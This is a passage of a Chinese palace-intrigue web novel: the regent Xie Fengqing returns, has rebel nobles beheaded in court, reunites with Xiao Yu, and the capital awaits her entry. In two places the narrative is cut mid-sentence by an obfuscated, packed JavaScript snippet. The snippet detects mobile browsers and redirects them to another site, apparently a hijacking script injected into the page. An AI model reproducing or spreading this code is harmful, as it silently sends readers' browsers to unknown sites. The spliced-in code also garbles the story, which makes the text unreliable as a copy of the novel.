随即,她的目光移开,扫向殿内噤若寒蝉的百官。扫过激动得浑身颤抖、热泪盈眶的新党官员;扫过面如死灰、抖如筛糠的宗室党羽;最后,如同冰封的刀锋,缓缓定格在瘫软在地、如同见鬼般瞪大眼睛、脸上混合着极致恐惧与难以置信的礼亲王萧成璧身上。 她的眼神,没有愤怒,没有仇恨,没有胜利者的嘲弄,只有一片深不见底的、万载玄冰般的漠然与冰冷。那是一种彻底俯视、掌握生杀予**柄后,对蝼蚁的漠视。 “礼亲王,”她开口,声音不高,甚至有些因伤势未愈而带来的微微沙哑,却清晰地传入每个人耳中,带着一种久居上位、生杀予夺的平淡,仿佛在讨论天气,“方才殿中喧嚣,本王在门外,倒也听了个大概。” 她轻轻摩挲着手中那枚沉甸甸的虎符,指尖划过上面冰冷的纹路,语气平淡得像是在陈述一个与己无关的事实:“你说,恨本王入骨者,不知凡几?说本王不死,天下不宁?” 萧成璧在她的目光注视下,如同被瞬间冻僵的虫子,连最本能的颤抖都忘了,只剩下无边的恐惧攫住了心脏。 “很好。”谢凤卿点了点头,仿佛在赞许他的“坦诚”,“既然如此,那本王今日,便给天下所有‘恨本王入骨’者,一个明白的交代。” 她微微抬手,动作随意,却带着千钧之力。 第185章将此等逆贼,拖出殿外— 侍立一旁的玄甲卫统领一步踏出,如同铁塔般矗立,声如洪钟,震得殿梁似乎都在簌簌落灰:“带上来——!!!” 殿门外,早已等候多时的玄甲卫,如同押解牲口一般,押解着一长串被捆缚结实、面如死灰的人犯,鱼贯而入。这些人中,有在江南煽动漕工**、扣留漕粮的三位漕帮长老;有在京城散布“摄政王已死,新政当废”谣言、上蹿下跳的文吏小官;有与戎狄暗通款曲、泄露边防机密的边军败类;还有几名在各地试图趁乱侵吞、强占女学基金产业的地方豪强及其爪牙……皆是这几日跳得最欢、罪行确凿的“出头鸟”。 这些人被粗暴地推搡到大殿中央,跪成一排,在玄甲卫冰冷的目光和肃杀的气场下,早已吓得魂飞魄散,屎尿齐流者不乏其人。 “这些人,”谢凤卿的目光如同冰冷的扫描仪,缓缓掠过那一张张因恐惧而扭曲的脸,声音依旧平静,却让殿内温度再降十度,“或勾结外敌,**求荣;或煽动内乱,祸害百姓;或侵吞国财,中饱私囊;或散布谣言,动摇国本;或直接参与谋害本王。” 她每说一条罪状,那些跪着的人便哆嗦一下,头埋得更低。 “其罪,”她顿了顿,吐出的两个字,如同冰珠子砸在金砖上,“当诛。” “其行,”她目光扫过下方那些面露不忍或惊惧的官员,“当曝之于众,以儆效尤。” “其名,”她最后看向萧成璧,以及那些面色惨白的宗室党羽,“当刻于史书,遗臭万年。” 三句话,一句比一句冷,一句比一句重。殿内鸦雀无声,只有粗重压抑的呼吸声和极少数人牙齿打颤的咯咯声。 “北境的将士,用他们的血与火,告诉了戎狄,犯我大周疆土者,是何下场。”谢凤卿缓缓从肩舆上站起。玄色大氅随着她的动作垂落,她身姿挺拔如雪中青松,虽面色犹带苍白,却仿佛蕴含着足以擎天撼地的力量,令人不敢直视。她的目光扫过全场,每一个字都清晰无比,带着不容置疑的裁决之力: “今日,在这太极殿上,在本王归来之地,也要让天下人,让朝堂诸公,让所有心怀叵测者,都看个清楚,听个明白——” 她声音陡然拔高,清越而铿锵,如同九天凤鸣,冲破云霄,带着凛冽的杀意和重掌乾坤的绝对威严,响彻殿宇,震撼着每一个人的灵魂: “祸社稷、乱我朝纲、害我臣民者——” 她顿了顿,目光如寒冰扫过殿中那些瘫软在地的罪囚,声音陡然拔高,如同九天凤鸣,清越而铿锵,带着不容置疑的裁决之力,响彻殿宇,直冲云霄: “是何下场!!” “玄甲卫听令!”她玉手轻挥,指向殿中那些面如死灰的罪囚,也包括瘫软在地、眼神空洞的萧成璧,声音冰寒彻骨,带着一种焚尽一切的决绝: “将此等逆贼,拖出殿外——” “立斩!!!” “以彼等之血——” “祭奠北境浴血奋战的英魂!祭奠大婚之日罹难的护卫与百姓!祭奠这七日以来,因他们作乱而惶恐不安的天下万民!!!” “诺——!!!”玄甲卫齐声应喝,声震屋瓦,杀气直冲斗牛!那整齐划一的怒吼,带着北境边关的铁血肃杀,瞬间冲散了殿内所有的文弱与妥协之气! 没有繁琐的审判程序,没有冗长的罪名宣读,甚至没有给任何人求情或辩驳的机会!在摄政王绝对的意志与无可置疑的威权之下,在满朝文武或惊恐、或震撼、或敬畏、或解气的目光注视中,萧成璧及其同党,还有那些被抓现行的叛乱者,如同待宰的羔羊,被身披黑甲、面覆恶鬼面具的武士粗暴地拖拽起来,向殿外而去。 “不!谢凤卿!你这个妖女!你不得好死!萧氏列祖列宗不会放过你!天下人都会看清你的真面目!你……”萧成璧发出最后的、绝望而恶毒的咒骂,但声音很快被捂住,拖远。 片刻之后,殿外宽阔的汉白玉广场上,传来整齐划一、令人牙酸的刀锋破空之声!那声音冰冷、干脆、毫无犹豫! 随即,是重物落地的沉闷声响,以及液体喷溅的细微声音。 浓郁的血腥气,顺着洞开的殿门和初秋的晚风,幽幽地飘散进来,弥漫在庄严肃穆的太极殿中,与檀香、墨香混合成一种诡异而令人战栗的味道。 没有求饶,没有冗长的仪式,只有最直接、最暴烈、最不容置疑的死亡宣告。摄政王归来后的第一道命令,便是以最凌厉、最铁血的方式,清洗朝堂,宣告她的回归,宣告旧时代的终结,宣告任何敢于挑战她权威者的下场! 殿内,死一般的寂静。许多官员面色惨白,双腿发软,几乎站立不住。一些心理承受能力差的,已经忍不住干呕起来,或者用袖子死死捂住口鼻。他们从未见过,在这象征着文治教化、礼法规矩的太极殿上,在如此高规格的朝会之中,进行如此迅疾、如此公开、如此血腥的当场处决!这已不仅仅是权力的展示,这是赤裸裸的武力威慑与铁腕统治的宣言!是新政派最强势、最不容置疑的回击! 谢凤卿仿佛只是做了一件微不足道的小事,重新缓缓坐回肩舆。她目光平静地扫过下方噤若寒蝉、大气不敢出的百官,那目光所及之处,无人敢抬头对视。 “北境戎狄已退,”她开口,声音恢复了之前的清冷平静,却带着更深沉、更不容动摇的力量,“然边疆未靖,狼子野心不死。江南漕运之乱已平,然积弊未除,蛀虫犹在。朝中逆党首恶已诛,然人心未定,余毒待清。” 她顿了顿,每一个字都清晰无比,如同刻在金石之上: “本王既已归来,往日种种,便到此为止。” “自今日起,凡忠心为国、勤勉任事、拥护新政者,无论过往是否有过犹疑,既往不咎,**行赏。朝廷正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后,她的目光再次投向御阶之上,那个一直凝视着她、眼中情绪如同惊涛骇浪般翻涌、却强行克制着的男子。 “监国亲王,萧御。”她称呼他的官职,语气却比方才面对百官时,明显柔和了一分,那冰冷的面具仿佛裂开了一道细微的缝隙,“七日以来,内稳朝局,外抚人心,彻查逆党,夙夜匪懈。辛苦了。” 萧御喉结剧烈滚动了一下,千言万语,无尽的思念、担忧、后怕、狂喜……全都堵在胸口,几乎要冲破理智的堤坝。但他知道,此刻是在朝堂,是在百官面前。他强行压下翻腾的心绪,深深一揖,声音因竭力克制而显得有些低沉沙哑: “此乃臣……分内之责,不敢言苦。殿下……凤体安然归来,乃社稷之幸,万民之福,亦是……亦是臣……毕生所愿。”他垂下眼帘,掩去那几乎要失控滚落的湿意。此刻,他首先是监国亲王,是她的臣子,是这朝堂上必须维持的体统。 第186章看清了许多 谢凤卿看着他强自镇定的模样,看着他眼下的青黑和憔悴的容颜,心中那处柔软再次被触动。但她面上依旧淡然,只是几不可察地,唇角微微牵动了一下,似乎是一个极淡、却真实存在的笑意。 “亲王劳苦功高,当重赏。具体事宜,容后再议。”她声音平稳,“今日朝会,所议已毕。逆党伏诛,章程已定。散了吧。” “臣等——恭送摄政王殿下!殿下千岁千岁千千岁!!!”在户部尚书等新党官员激动得颤抖的带领下,满朝文武,无论心中作何想法,此刻皆心悦诚服或战战兢兢地跪拜下去,山呼之声,前所未有的整齐与响亮,震得殿宇梁柱都似乎嗡嗡作响。 谢凤卿微微颔首,算是回应。玄甲卫抬起肩舆,转身,在一众黑甲武士沉默而肃杀的护卫下,朝着殿外那即将沉入地平线的夕阳方向,缓缓行去。玄色大氅在夕照余晖中拂动,仿佛燃烧着金色的火焰,又仿佛背负着无尽的黑暗与光明。 萧御直起身,望着她离去的背影,那挺直的脊梁,那决然的步伐。七日地狱般的煎熬、锥心刺骨的担忧、强撑危局的疲惫、以及失而复得的巨大狂喜……在这一刻,终于找到了归宿,化作了眼中深沉似海的情意与坚定不移的支持。 她回来了。 从地狱归来。 带着北境烽火的洗礼与凯旋的捷报。 带着清算逆党的铁腕与重塑乾坤的意志。 更带着,那份历经生死淬炼后,愈发璀璨夺目、足以照亮整个帝国前路、也让无数人敬畏战栗的—— 王者之光,不灭凤焰。 凤鸣惊霄,王者归来。 血洗阴霾,重定乾坤。 这天下,终究还是她的天下。 而这,仅仅只是新一轮风暴的开始。 夜幕,终于彻底笼罩了京城。 摄政王府内的喧嚣、激动、以及劫后余生的忙碌,也随着夜色的加深而逐渐沉寂下来。仆役们轻手轻脚地行走,脸上带着难以抑制的喜悦与敬畏。灯火次第亮起,驱散了连日的阴霾。 书房内,只点了一盏琉璃罩灯,光线柔和而温暖。 谢凤卿已换下了那身沾染风尘与肃杀之气的玄色劲装,穿着一件月白色的素绸常服,宽大的衣袖垂下,掩住了手臂上还未完全愈合的伤口。她斜倚在窗边的紫檀木软榻上,手中无意识地把玩着那枚仿制的虎符,目光却投向窗外庭院。 窗外,月色如水,倾泻在熟悉的亭台楼阁、嶙峋假山之上。秋海棠开得正盛,在月光下泛着幽幽的冷香。一切似乎都恢复了旧观,但她知道,有些东西,已经永远改变了。 门被轻轻推开,发出一声几不可闻的吱呀声。 萧御走了进来。他已卸去沉重的亲王冕服,只着一身深青色家常锦袍,腰间松松系着玉带。烛光下,他脸上的憔悴与眼底的血丝依旧明显,但那股深入骨髓的疲惫之下,却焕发着一种失而复得后、异常明亮的神采。他反手轻轻合上门,却没有立刻上前,只是站在门边,静静地、近乎贪婪地凝视着榻上那个魂牵梦萦的身影,仿佛要将这失而复得的景象,牢牢烙印在灵魂深处,生怕一眨眼,又只是大梦一场。 谢凤卿没有回头,却仿佛背后长了眼睛,感知到了他的气息和目光。“来了?”声音很轻,带着一丝不易察觉的放松。 “……嗯。”萧御喉头哽咽,仿佛有千言万语堵在那里,最终只化作一个简单的音节。他一步一步,走得很慢,很轻,像是怕惊扰了什么,走到软榻前。伸出手,想要触碰她的肩膀,指尖却在即将触及那月白绸料的瞬间,猛地蜷缩回来,紧紧握成了拳。他怕,怕这温暖真实的触感,只是重伤后的幻觉,一碰即碎。 谢凤卿终于转过头,抬眼看他。灯光下,她苍白的脸上浮现出一丝极淡的、真实的、甚至带着点戏谑的笑意。“怎么?七日不见,我们杀伐决断的监国亲王,连碰都不敢碰本王一下了?” 这一句略带调侃的“本王”,带着她特有的清冷音质,却如同最柔软的羽毛,轻轻拨动了萧御心中那根紧绷了七日七夜的弦。 铮—— 弦断了。 所有的克制,所有的理智,所有的强撑,在这一刻土崩瓦解。 他猛地单膝跪地,不顾背上的伤口因此动作而传来的撕裂痛楚,伸出双臂,以一种近乎虔诚又充满了绝望后怕的力度,紧紧、紧紧地抱住了她的腰,将脸深深埋进她身前柔软的衣料里。 没有声音。 只有身体无法抑制的、剧烈的颤抖。 还有那瞬间浸湿了月白衣襟的、滚烫的液体。 这个在朝堂上面对千夫所指、在断魂崖边七日不眠、在太极殿中谈笑间决定他人生死的男人,此刻,在她面前,褪去了所有坚硬的外壳,哭得像个走失了最珍贵宝物、历经千辛万苦终于找回的孩子。无声的泪水,却比任何嚎啕大哭都更能诉说他这七日所承受的炼狱般的煎熬。 谢凤卿的身体几不可察地微微一僵。她并非习惯于亲密接触的人,更不习惯如此直接汹涌的情感表达。但感受到怀中身躯那无法抑制的颤抖和衣襟上迅速扩大的湿意,她冰冷的心湖仿佛被投入了一颗炽热的石子,荡开层层涟漪。 她迟疑了一下,终究还是抬起手,轻轻落在了他微微颤抖的、宽阔却在此刻显得无比脆弱的背上,小心地避开了伤处,一下,一下,缓慢而坚定地拍抚着。 她没有说话,也没有安慰。此刻,任何言语都是苍白的。这七日的生死相隔,七日的绝望守候,七日的内外交困,所有的恐惧、悲伤、愤怒、孤独,以及此刻失而复得的巨大庆幸与后怕,都在这个无声的拥抱与滚烫的泪水中,得到了最彻底的交融、宣泄与沉淀。 不知过了多久,书房内只有烛火偶尔噼啪的轻响,以及窗外细微的虫鸣。 萧御的颤抖渐渐平息下来,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116086|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那紧紧的拥抱却没有松开分毫。他抬起头,眼睛红肿,脸上泪痕交错,素日俊朗的容颜显得有些狼狈,但眼神深处,却多了某种更加厚重、更加执拗、仿佛经历烈火煅烧后重新凝练出的东西。 “我以为……”他开口,声音沙哑得厉害,每一个字都像是从砂纸中磨出来的,带着血泪的痕迹,“我真的……要失去你了。每一天,每一个时辰,都像是凌迟。”他闭上眼,复又睁开,里面是浓得化不开的痛苦与眷恋,“断魂崖下的雾,那么浓,那么冷……我找不到你……哪里都找不到……” 谢凤卿看着他,看着这个一向冷静自持、温润如玉的男子,此刻为她流露出的全然脆弱与恐惧。她伸出指尖,轻轻拭去他眼角残留的湿意,动作是她自己都未曾察觉的轻柔与……怜惜。 “我说过,”她声音很轻,却异常清晰,“‘待山河大定,海晏河清,我便凤冠霞帔,堂堂正正再嫁你一次’。誓约未成,我怎敢……轻易赴死?” 不是“不敢死”,而是“不敢轻易赴死”。因为她有承诺要兑现,有抱负要施展,有……他值得她活着回来。 萧御浑身一震,握住她拭泪的手,紧紧贴在自己冰凉的脸颊上,感受着她指尖那微凉却无比真实的触感,那是活着的温度,是失而复得的珍宝。“以后再不许……再不许这样。”他语气近乎哀求,带着一丝不易察觉的颤抖,“无论发生什么,无论面对何种绝境,都不许再以身犯险,不许再离开我的视线……若再有下次,”他凝视着她的眼睛,一字一顿,带着不容置疑的决绝,“无论上天入地,碧落黄泉,我都会随你去。绝不再独活。” 这不是情话,是誓言。是以生命为注的、同生共死的盟约。 谢凤卿看着他眼中那不容错辨的深情与决绝,心中最坚硬、最寒冷的一角,似乎也被这炽热而纯粹的情感,悄然融化。她没有轻易承诺,因为她知道,前路依旧遍布荆棘,阴谋与暗箭不会消失。但她点了点头,反手握住他的手,用力地、坚定地。 “萧御,”她看着他,眼神清亮如寒潭映月,褪去了朝堂上的冰冷威仪,只剩下面对他时的坦诚,“这七日,我坠入深渊,徘徊于生死之间,也……看清了许多。” 她微微蹙眉,仿佛在组织语言:“过去,我或许……过于相信雷霆手段能扫清一切障碍,过于相信新政的光明能驱散所有阴暗。但这一次,让我明白,仁慈与怀柔,或许可以赢得一时的安稳与人望,但无法根除百年积弊下盘根错节的毒瘤,无法震慑那些隐藏在阴影中、时刻准备扑上来撕咬的豺狼虎豹。” 她的声音渐冷,带着一种淬炼后的坚硬:“从今日起,我的路,或许会更冷,更硬,流的血……也会更多。我会用更直接、更彻底的方式,去清除障碍,去推行变革。哪怕……背负骂名,哪怕被称为‘**’、‘妖女’,也在所不惜。” 第187章直上青云,光照四海 她在告诉他,也是告诉自己。坠崖重生,不仅是身体的考验,更是心志的涅槃。她已彻底斩断了最后一丝不必要的优柔。 萧御没有丝毫犹豫,迎上她清冽却坚定的目光,斩钉截铁,话语掷地有声: “无论你的路通向何方,是烈火燎原还是寒冰覆世,是锦绣坦途还是荆棘密布,我都会在你身边。你的剑锋所指,便是我的刀兵所向。你要做仁德圣主,我便为你抚平疮痍,教化万民;你要做铁血枭雄,我便为你荡平一切阻碍,扫清所有险阻。” 他顿了顿,握着她的手更紧,一字一句,如同最坚硬的磐石,凿刻在彼此的生命里: “谢凤卿,我萧御此生,与你同进退,共生死。山河为证,日月为鉴。你若为凤,我便是托起你的梧桐;你若成凰,我便是追随你的长风。纵使前路是万丈深渊,是无间地狱,只要你回头,我永远在你身后一尺之地。” 这不是风花雪月的浪漫告白,这是两个灵魂在经历生死考验、权力倾轧后,对彼此命运最彻底、最毫无保留的交付与捆绑。是盟友,是知己,更是超越了爱情、融入了生命与志向的伴侣。 谢凤卿深深地看着他,看着这个在她最狼狈、最脆弱时不曾放弃,在她归来后毫不犹豫站在她身边的男人。最终,她唇角漾开一抹真实而璀璨的笑意,如同冰封雪原上骤然绽放的烈焰红莲,夺目至极,也温暖至极。 “好。”她只说了一个字,却重逾千斤,包含了所有的信任、承诺与未来。 两人相视而笑,劫后余生的庆幸、心意相通的笃定、对未来艰难却共同前路的无畏与期待,尽在这无声的笑容与交握的双手中。 窗外,月上中天,清辉如练,静静地洒落庭院,将一切都笼罩在柔和的银纱之中。远处京城的方向,万家灯火闪烁,恢复了往日的秩序与宁静,仿佛白日的腥风血雨只是一场遥远的噩梦。 “接下来,你打算如何?”萧御问,依旧握着她的手不舍松开,仿佛这样才能确认她的真实存在。 谢凤卿目光投向窗外无垠的夜空,眼神变得深邃而冷静,如同最精密的棋手在审视棋盘:“萧成璧虽除,宗室余毒未清,需借此事彻底整顿,杀鸡儆猴。那些跳出来的旧党,正好一并清算,该罢黜的罢黜,该流放的流放,空出的位置,正好提拔我们的人。” “新政推行,阻力仍在,但经此一役,反对声浪会暂时平息。我们要趁热打铁,明日我便以摄政王之名,颁布《新政纲要十条》,将改革以律法形式固定下来,推行至全国各州府,设立专门督察机构,谁敢阳奉阴违,严惩不贷。” “同时,”她眼中寒光一闪,“成立‘廉政司’与‘巡检司’,直属御前,专司监察百官与地方大员,拥有先斩后奏之权。凡贪腐、渎职、阻挠新政者,无论职位高低,一律严查严办,绝不姑息。” “北境与西疆,徐锋此次表现上佳,可加封赏,令其加固边防,整饬军备。戎狄虽退,狼子野心不死,需加紧火器营的筹建与训练。与鬼市船队的合作要深化,探索更远的海路与商道,不仅为财,更为未来的战略布局。” “至于女学基金、物流总司、墨家研究院……”她收回目光,看向萧御,眼中闪烁着务实的光芒,“不仅要继续,还要扩大。它们是新政的基石,也是未来的希望。我会亲自过问,确保每一分钱、每一项技术,都用在刀刃上。” 她条理清晰,谋划深远,仿佛那七日的磨难不仅没有击垮她,反而让她褪去了最后一层犹疑,变得更加果决、更加洞悉本质、更加知道如何运用权力与铁腕去实现目标。 萧御认真听着,眼中满是欣赏、支持与毫不掩饰的爱恋。“我会全力配合。朝堂之上,我会稳住局面,为你扫清障碍,确保政令畅通。军务之上,我也会加紧整训新军,提拔可靠将领,确保军队绝对忠诚可靠,成为你手中最锋利的剑,最坚固的盾。” 谢凤卿点了点头,忽然想起什么,眉尖微蹙:“那枚真正的虎符……” “还在全力搜寻。”萧御神色也凝重起来,“我已加派了最可靠的人手,沿着断魂崖至老君庙一线,以及萧成璧及其党羽可能藏匿的地点,进行地毯式查找。老君庙密室虽已烧毁,但或许还有线索。不过,”他话锋一转,“你带回来的那枚仿制虎符,今日在朝堂上,震慑效果极佳。无人怀疑其真实性。” “真符必须找回。”谢凤卿语气坚决,“那是先帝所赐,关乎国本,绝不能流落在外,落入别有用心者手中。至于仿符……”她指尖摩挲着那枚冰凉的金属,嘴角勾起一抹若有似无的弧度,“有时,假作真时真亦假。它已发挥了应有的作用,以后或许……还有别的用处。” 两人又低声商议了一些后续处理的细节,如何安抚朝野,如何论功行赏,如何处置涉案人员的家眷,如何引导舆论……夜色在交谈中渐渐深沉。 “你伤势未愈,又连日奔波劳心,该休息了。”萧御看着她眉宇间挥之不去的疲惫,心疼不已。 谢凤卿确实感到一阵阵虚弱袭来,那是重伤初愈、心神耗损后的自然反应。但她还是摇了摇头:“还有些紧急奏章需要连夜批复,积压了七日,不能耽搁。你先去歇息吧,你的伤也需要好好将养。” 萧御知道劝不动她,只好退而求其次:“那我陪你。” “不必……” “我坚持。”萧御语气温和,却带着不容拒绝的坚定,“就在外间榻上,不打扰你。你需要什么,叫我便是。或者,只是让我知道你在里面,我才能安心。” 看着他眼底那不容错辨的坚持与深藏的担忧,谢凤卿终是妥协,心中那片冰原悄然融化出一角暖意。“……随你吧。” 萧御这才起身,出去唤来心腹侍女,送来热水、伤药和清淡的夜宵,又亲自监督着谢凤卿简单用了些粥点,看着她服下太医调制的安神汤药,才退到外间,果然在和软榻上和衣躺下,静静守候。 书房内间,谢凤卿在灯下展开堆积如山的奏章,神情专注,提笔批阅。外间,萧御听着里面偶尔传来的纸页翻动声、笔尖划过纸张的沙沙声、以及她极轻微的、压抑着的咳嗽声,心中一片奇异的安宁与满足。只要她在,只要知道一墙之隔,她就在那里,这世间所有的风雨、黑暗、阴谋与厮杀,似乎都变得可以承受,都有了意义。 不知过了多久,里面的灯火熄灭了。一切归于寂静。 萧御却毫无睡意。他起身,轻轻走到内室门边,透过缝隙,看到她已和衣躺在榻上,似乎睡着了,呼吸清浅而均匀。月光透过雕花窗棂,洒在她安静的睡颜上,褪去了白日的威严、冷厉与杀伐之气,显出一种难得的、甚至有些脆弱的柔和。长长的睫毛在眼下投下淡淡的阴影,眉头微微蹙着,仿佛在梦中也不得安宁。 他痴痴地看了一会儿,才悄无声息地退回外间软榻。 坐在榻边,他望着窗外皎洁的明月,心中充满了失而复得的巨大感恩,以及对未来并肩战斗、共担风雨的无尽憧憬。掌心似乎还残留着她指尖微凉的触感,鼻尖仿佛还萦绕着她身上淡淡的、混合着药香与冷梅的气息。 “凤卿,”他在心中默念,无声地立下誓言,“这一次,我再也不会让你独自面对任何危险。这江山万里,这诡谲朝堂,这未竟的抱负,我们一起扛。纵使前路是刀山火海,是万丈深渊,我也必在你身侧,为你披荆斩棘,为你荡平一切阻碍,直到……” 他顿了顿,眼中闪烁着无比坚定的光芒。 “直到看到你真正‘凤袍加身’,君临天下的那一天。” 他知道,那一天的到来,必然伴随着更多的腥风血雨,更多的艰难险阻,更多的明枪暗箭。但此刻,握着手中那枚她归来时悄然塞给他、带着她体温的玉佩(她随身携带的旧物),感受着内室她平稳的呼吸,他心中充满了前所未有的力量与希望。 夜阑人静,万籁俱寂。 摄政王府的书房内,里间是她疲惫却安然的小憩,外间是他忠诚而温暖的守护。 断魂崖下的生死七日,已成过往。 太极殿上的血雨腥风,暂告段落。 而新的黎明,即将穿透最深沉的夜色,降临这片饱经创伤却又孕育着无限希望的土地。 属于谢凤卿与萧御的时代,在经历了一次近乎毁灭的考验后,非但没有终结,反而如同淬火重生的凤凰,展开了更加辉煌、也更加坚定的羽翼,准备携手翱翔,去迎接那必将到来、也更加波澜壮阔的未来。 凤栖于梧,非晨露不饮,非嫩竹不食,非千年之木不栖。 然其志在九天,其翼若垂天之云。 待风起时,必焚旧巢,浴烈火,鸣惊霄,而后—— 直上青云,光照四海。 第188章安然无恙 京城还浸在黎明前最深的靛蓝色里,像一块被时光遗忘的墨玉,沉静中透着压抑。东方的天际线刚刚泛起一丝鱼肚白,那白是极淡的,淡得像是有人用最细的狼毫笔,蘸了稀释过的银粉,在厚重的云层边缘小心翼翼地勾勒。云层是青灰色的,层层叠叠,宛如巨兽的鳞片,将天空压得很低很低。 但今日的京城,醒得格外早。 从紫禁城的朱红宫墙到永定门巍峨的城楼,十里长街两侧,早已密密麻麻站满了人。不是官兵驱赶,不是官府组织,是百姓们自发地、沉默地、从四更天就开始聚集。他们穿着自己最好的衣服——哪怕只是洗得发白的粗布衣衫,也要浆洗得干净挺括,褶皱处用装着热水的陶罐细细熨过。许多女子的发髻上,簪着红色的绢花,哪怕那绢花已经褪色成粉白,哪怕只是用红纸粗糙剪成,也郑重地别在鬓边。老人们拄着拐杖,孩童被父母抱在怀里,年轻的书生攥紧了手中的书卷,贩夫走卒放下挑担——所有人都朝着同一个方向望去,目光穿过尚未散尽的晨雾,投向永定门外那条通往远方的官道。 没有人说话。 整个京城,陷入一种奇异的、近乎神圣的寂静之中。只有晨风拂过屋檐下悬挂的红绸时发出的轻微声响,那红绸是昨日才挂上去的,在尚显凛冽的春风里飘荡如血;只有远处永定门城楼上旌旗在风中猎猎抖动的声音,旗面上的“周”字时隐时现;只有偶尔响起的婴儿啼哭,很快又被母亲轻柔的哼唱安抚下去。这寂静是沉重的,仿佛一池深水,表面平静,底下却暗流汹涌,蓄积着某种即将喷薄而出的力量。 这几日,对京城百姓而言,是炼狱般的。 先是摄政王谢凤卿于断魂崖坠崖、生死未卜的噩耗传来——那消息像瘟疫一样在城中蔓延,带来的是天塌地陷般的恐慌。茶楼酒肆里的说书人停了醒木,商铺早早关了门,连最热闹的夜市也空空荡荡。摄政王执政三年,新政推行,虽有阻力,但百姓的日子眼见着好起来。女学开了,穷人家的女儿也能识字明理,西城李寡妇家的丫头去年考进了女医馆;漕运整顿了,南粮北调的损耗少了,粮价稳了,东市米铺的陈掌柜再不敢随意抬价;那些横行霸道的宗室权贵,被摄政王亲手打压下去好几个,南街被强占铺面的王老汉拿回了自己的生意……百姓心中自有一杆秤,谁真心为民,谁在盘剥他们,他们清楚得很。 然后,是监国亲王萧御七日不眠不休的搜寻,是朝堂上暗流涌动、某些人按捺不住的蠢蠢欲动,是流言蜚语如同毒蛇般在暗处滋生——“摄政王已死”、“新政将废”、“宗室要反扑”、“天下将乱”……恐惧像冰冷的藤蔓,缠绕在每个普通人的心头,勒得人喘不过气。夜里,母亲哄孩子睡觉时会压低声音说:“别怕,殿下会回来的。”可她自己手心的冷汗,却暴露了同样的不安。 直到昨日黄昏,一道惊雷般的消息,炸响了死水般的京城: 摄政王谢凤卿,将于明日辰时,自永定门归来! 不是谣传,不是猜测,是监国亲王萧御亲自颁下的告示,加盖了亲王金印和摄政王残留印信。告示贴满了九门,内容简短却重若千钧: “摄政王殿下安然无恙,明日辰时,自永定门凯旋归京。万民可往观礼,共迎殿下。” 安然无恙。 凯旋。 这两个词,像一剂滚烫的强心针,注入了京城几乎要停止跳动的心脏。短短一个时辰,消息传遍大街小巷。沉寂了七日的京城,突然活了过来。商铺重新开门,掌柜吩咐伙计多备货;家家户户翻箱倒柜找出最好的衣裳;手巧的妇人连夜赶制红绢花;识字的老先生颤抖着手写下“恭迎殿下”的条幅……一种近乎狂热的希望在暗夜里疯长。 于是有了今日的万人空巷,有了这黎明前的肃穆等待。人们屏息凝神,像是等待着神迹降临。 永定门城楼之上。 萧御一身玄色亲王礼服,金线绣四爪蟠龙,蟠龙张牙舞爪,似要破衣而出。玉带缠腰,镶嵌的羊脂白玉在晨光熹微中泛着温润的光泽。头戴七旒冕冠,旒珠以青玉制成,垂落额前,随着他的呼吸微微晃动。他站在城楼最前沿的垛口处,双手扶着冰冷的青石,那青石被晨露浸润,触手生寒。他的指节因用力而微微发白,指甲几乎要嵌进石缝里。 他的目光,死死锁着城外官道的尽头。那里,还笼罩在一片淡青色的晨雾之中,看不真切,像是蒙着一层神秘的纱。他的眼睛已经熬得通红,眼下有浓重的青影——这七日,他几乎未曾合眼。白日里要稳定朝局,压制蠢蠢欲动的各方势力,夜里则对着地图一遍遍推演搜寻路线,派出一批又一批人马。恐惧像毒蛇啃噬着他的心,每一次传回“未有发现”的消息,都像是往他心口扎一刀。但他不能倒,不能乱,他是监国亲王,是她在朝中最坚实的后盾,是稳住这艘即将倾覆的大船的舵手。 直到昨日,那封密信以绝密渠道送到他手中。熟悉的字迹,简短的“安好,明日辰时归”七个字,却让他瞬间瘫坐在椅上,久久不能动弹。狂喜之后是更深的后怕,是失而复得的虚脱,是想要立刻策马出城迎她的冲动。但他不能。他是监国亲王,他有他的责任,他必须为她铺好归来的路,必须让这场“归来”成为最震撼人心的宣告,成为权力交接最完美的序幕。 所以他强压住所有情绪,连夜布置。调集最精锐的风雪十八骑(实则是她暗中培养的亲卫,他只知部分)于城外接应,命礼部、鸿胪寺、内务府紧急筹备大婚与加冕仪典,清洗朝中与萧成璧勾结的势力,用铁血手段震慑心怀叵测者……太极殿外的血迹还未干透,但那又如何?为了她的归来,为了他们共同的未来,他愿意双手染血,愿意背负所有骂名。 他身后,文武百官按品阶站立,鸦雀无声,却心思各异。以户部尚书张庭筠为首的新党官员,个个神情激动,眼眶泛红,不时踮脚张望。张庭筠已是花甲之年,此刻却像个年轻人一样,手指紧紧攥着笏板,指节发白。他是最早支持新政的老臣之一,亲眼看着谢凤卿如何一步步推行改革,如何顶住压力开设女学、整顿漕运、清查田亩。这七日,他仿佛老了十岁,如今希望重燃,怎能不激动?他身后几位年轻些的官员,更是偷偷用袖角拭泪。 而那些曾暗中摇摆、甚至与萧成璧有过勾连的旧党官员,则面色苍白,冷汗涔涔,连大气都不敢出。兵部侍郎赵汝明的腿在微微发抖,他想起昨日被请去“问话”的同僚,再也没能回来;想起太极殿外那滩刺目的血迹;想起监国亲王萧御那双看似温润、实则冷冽如冰的眼睛。他们此刻只恨自己当初为何要心存侥幸,为何要听信“摄政王已死”的谣言。如今,那位杀伐果决的女王爷就要回来了,等待他们的会是什么?秋后算账?罢官去职?还是……更可怕的下场?他们不敢想,只能将头埋得更低,恨不得缩进地缝里去。 